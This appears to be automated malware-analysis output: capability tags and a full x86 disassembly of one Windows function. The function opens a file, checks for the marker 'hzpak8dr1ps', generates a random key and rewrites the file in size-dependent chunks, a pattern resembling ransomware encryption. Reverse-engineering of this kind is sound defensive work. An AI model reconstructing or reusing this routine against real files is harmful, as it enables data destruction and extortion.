Function at 0x41cd70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a3b2d
mov eax, dword fs:[0]
push eax
sub esp, 0x228
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1f0], ecx
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push 0x80
cmovae eax, dword [ebp + 8]
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push 0
cmovae eax, dword [ebp + 8]
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x1e0], esi
cmp esi, 0xffffffff
je 0x41d2ee
lea eax, [ebp - 0x220]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x41ce14
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41d2ee
mov edi, dword [ebp - 0x220]
lea eax, [ebp - 0x1dc]
mov esi, dword [ebp - 0x21c]
push 0x123
push 0
push eax
mov dword [ebp - 0x210], edi
mov dword [ebp - 0x1e4], esi
call fcn.00473550
mov eax, 0xa
mov word [ebp - 0xa7], 0
xorps xmm0, xmm0
mov word [ebp - 0xb9], ax
mov eax, dword [0x4ac9e8]
add esp, 0xc
movups xmmword [ebp - 0xb7], xmm0
mov ecx, 0x147
mov dword [ebp - 0x99], eax
movq xmm0, qword [str.hzpak8dr1ps]
lea eax, [ebp - 0x1dc]
mov dword [ebp - 0xa5], 0
movq qword [ebp - 0xa1], xmm0
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x41ce91
test esi, esi
jl 0x41cf47
jg 0x41ceb2
cmp edi, 0x147
jb 0x41cf47
mov ecx, edi
mov dword [ebp - 0x224], 0
sub ecx, 0x147
mov eax, esi
mov esi, dword [ebp - 0x1e0]
xorps xmm0, xmm0
sbb eax, 0
movlpd qword [ebp - 0x234], xmm0
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x1f4]
mov dword [ebp - 0x22c], ecx
push eax
push 0x147
lea eax, [ebp - 0x1dc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, str.hzpak8dr1ps
lea eax, [ebp - 0xa1]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41cf32
test dl, dl
je 0x41cf2e
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41cf32
add eax, 2
add ecx, 2
test dl, dl
jne 0x41cf12
xor eax, eax
jmp 0x41cf37
sbb eax, eax
or eax, 1
test eax, eax
jne 0x41cf47
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41d2ee
push 0x28
call fcn.0047156b
add esp, 4
mov dword [ebp - 0x20c], eax
mov esi, 1
mov edi, eax
mov byte [eax], 0x73
lea eax, [ebp - 0x1fc]
push eax
call fcn.004842ad
mov al, byte [ebp - 0x1fc]
add esp, 4
mov byte [esi + edi], al
inc esi
cmp esi, 0x28
jb 0x41cf61
lea eax, [edi + 0x20]
push eax
push edi
lea ecx, [ebp - 0x94]
call fcn.00418100
push 4
push 0x1000
push 0x40
push 0
mov dword [ebp - 0x14], 0x40
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [ebp - 0x210]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x1e4]
test eax, eax
jg 0x41d03b
jl 0x41cfd5
cmp edi, 0x1388
jae 0x41cfe4
movsd xmm0, qword [0x4acb08]
xor esi, esi
jmp 0x41d066
test eax, eax
jg 0x41d03b
jl 0x41cff2
cmp edi, 0x4c4b40
jae 0x41d001
movsd xmm0, qword [0x4acb00]
mov esi, 0x1388
jmp 0x41d066
test eax, eax
jg 0x41d03b
jl 0x41d00f
cmp edi, 0x2faf080
jae 0x41d01e
movsd xmm0, qword [0x4acaf8]
mov esi, 0x1388
jmp 0x41d066
test eax, eax
jg 0x41d03b
jl 0x41d02c
cmp edi, 0x40000000
jae 0x41d03b
movsd xmm0, qword [0x4acaf0]
mov esi, 0x1388
jmp 0x41d066
cmp eax, 2
jg 0x41d059
jl 0x41d04a
cmp edi, 0x80000000
jae 0x41d059
movsd xmm0, qword [0x4acae8]
mov esi, 0x3a98
jmp 0x41d066
movsd xmm0, qword [0x4acae0]
mov esi, 0xc350
mov ecx, dword [ebp - 0x1f0]
lea eax, [ebp - 0x1dc]
push eax
movsd qword [ebp - 0x1f8], xmm0
lea eax, [ecx + 0xc]
push eax
push dword [ebp - 0x1e0]
push esi
sub esp, 8
movsd qword [esp], xmm0
push dword [ebp - 0x20c]
call fcn.0041b710
xorps xmm0, xmm0
movlpd qword [ebp - 0x204], xmm0
test esi, esi
je 0x41d127
push 4
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1ec], eax
test eax, eax
je 0x41d2db
lea ecx, [ebp - 0x94]
push ecx
push dword [ebp - 0x1e4]
mov ecx, dword [ebp - 0x1f0]
push edi
push eax
push 0
push esi
lea eax, [ebp - 0x204]
push eax
push dword [ebp - 0x1e0]
call fcn.0041d350
push 0x8000
push 0
push dword [ebp - 0x1ec]
test eax, eax
jne 0x41d121
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
call esi
push 0x8000
push 0
push dword [ebp - 0x1e8]
call esi
jmp 0x41d2ee
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x1e4]
mov ecx, edi
sub ecx, esi
push 0
push 0x40
sbb eax, 0
push eax
push ecx
call fcn.004717e0
movsd xmm0, qword [ebp - 0x1f8]
mov ecx, edx
mulsd xmm0, qword [0x4acad8]
mov dword [ebp - 0x208], ecx
mov ecx, eax
mov dword [ebp - 0x1ec], eax
movsd qword [ebp - 0x1f8], xmm0
call fcn.00471ad0
mulsd xmm0, qword [ebp - 0x1f8]
call fcn.00471a20
mov ecx, eax
or ecx, edx
jne 0x41d1a3
mov eax, dword [ebp - 0x1e4]
test eax, eax
jl 0x41d2c1
jg 0x41d197
test edi, edi
je 0x41d2c1
lea ecx, [ebp - 0x94]
xorps xmm0, xmm0
push ecx
jmp 0x41d1d8
push edx
push eax
push dword [ebp - 0x208]
push dword [ebp - 0x1ec]
call fcn.004717e0
mov ecx, eax
mov dword [ebp - 0x218], eax
or ecx, edx
mov dword [ebp - 0x1f4], edx
xorps xmm0, xmm0
jne 0x41d207
lea eax, [ebp - 0x94]
push eax
mov eax, dword [ebp - 0x1e4]
mov ecx, dword [ebp - 0x1f0]
push eax
push edi
push dword [ebp - 0x1e8]
movlpd qword [ebp - 0x204], xmm0
push eax
push edi
lea eax, [ebp - 0x204]
push eax
push dword [ebp - 0x1e0]
call fcn.0041d350
jmp 0x41d2c1
cmp dword [ebp - 0x208], 0
movlpd qword [ebp - 0x214], xmm0
jl 0x41d2c1
jg 0x41d22b
cmp dword [ebp - 0x1ec], 0
jbe 0x41d2c1
mov ecx, dword [ebp - 0x210]
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x210], eax
shld ecx, eax, 6
shl eax, 6
add eax, esi
mov dword [ebp - 0x204], eax
lea eax, [ebp - 0x94]
push eax
push dword [ebp - 0x1e4]
lea eax, [ebp - 0x204]
adc ecx, 0
push edi
push dword [ebp - 0x1e8]
mov dword [ebp - 0x200], ecx
mov ecx, dword [ebp - 0x1f0]
push 0
push 0x40
push eax
push dword [ebp - 0x1e0]
call fcn.0041d350
mov eax, dword [ebp - 0x210]
add eax, dword [ebp - 0x218]
mov ecx, dword [ebp - 0x1fc]
adc ecx, dword [ebp - 0x1f4]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x1fc], ecx
cmp ecx, dword [ebp - 0x208]
jl 0x41d243
jg 0x41d2c1
cmp eax, dword [ebp - 0x1ec]
jb 0x41d243
push dword [ebp - 0x1e0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x20c]
call fcn.00471574
add esp, 4
push 0x8000
push 0
push dword [ebp - 0x1e8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp + 0x1c]
cmp ecx, 8
jb 0x41d324
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41d31a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d341
push ecx
push edx
call fcn.0047155d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004717ca
mov esp, ebp
pop ebp
ret 0x18
call fcn.0047cebf
int3